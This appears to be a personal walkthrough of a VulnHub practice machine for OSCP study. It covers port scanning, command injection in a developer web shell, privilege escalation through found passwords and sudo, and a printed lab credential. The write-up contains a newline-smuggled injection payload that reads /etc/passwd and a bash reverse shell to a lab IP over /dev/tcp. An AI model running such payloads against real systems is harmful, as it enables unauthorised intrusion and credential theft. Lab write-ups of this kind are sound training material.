This box was downloaded from VulnHub and is also on the list of practice boxes for OSCP preparation. The box involved the following steps:
- Enumeration HTTP
- Command Injection abd Bypassing Sanitization
- Enumerating folders
- A good Guessing ( Which I failed to do)
I always start my enumeration from autorecon. The initial Nmap scan showed only one port (80) open. However all port scan showed one more port and the result is as below.
Nmap scan report for 10.0.0.13
Host is up, received arp-response (0.00025s latency).
Scanned at 2022-04-03 20:34:33 EDT for 11s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 4 disallowed entries
| /login.php /dev_shell.php /lat_memo.html
|_/passwords.html
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.25 (Debian)
25468/tcp open ssh syn-ack ttl 64 OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
| ssh-hostkey:
| 2048 84:f2:f8:e5:ed:3e:14:f3:93:d4:1e:4c:41:3b:a2:a9 (RSA)
Uptime guess: 198.838 days (since Fri Sep 17 00:27:25 2021)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.25 ms 10.0.0.13
I will start my enumeration process from web(port 80). Website mentioned it was recently hacked and they have disabled login.
login.php is currently not activated for outside the intranet. However, /dev_shell.php consists of a web-shell where we can run commands.
This query is vulnerable to command injection. I was able to get the out from pwd command.
I was also able to see the /etc/passwd file.
something%0Acat%20/etc/passwd
I was able to list the files in directory and downloaded de_shell.php.bak in my device. There is sanitization of few commands according to the source code.
We can’t use a few commands and ; . So we can use the normal bash reverse shell command.
bash -c 'exec bash -i &>/dev/tcp/192.168.110.4/1337 <&1'
I succeeded in getting the reverse shell.
Checking on the hidden files in home directory of bob I can see a interesting file .old_passwordfile.html . There is password for user jc and seb
Both of these passwords work for their respective account. Now looking around we find few more interesting files. I also found login.txt.gpg which is encrypted using GPG. I tried cracking it using John but no luck.
I tried a few kernel exploits and sudo exploits and was stuck here for a few hours. Later looking at the hint. I found that there is a password in notes.sh file located inside the bob directory,
Now using HARPOCRATS I was able to decrypt the gpg file.
I found the username and password for user bob, who is the admin for this system. bob:b0bcat_ And bob can run all sudo commands.
Let’s get root now. Easy because bob can run all sudo commands and we have his password.
Easy and straight box until where we had to guess the password.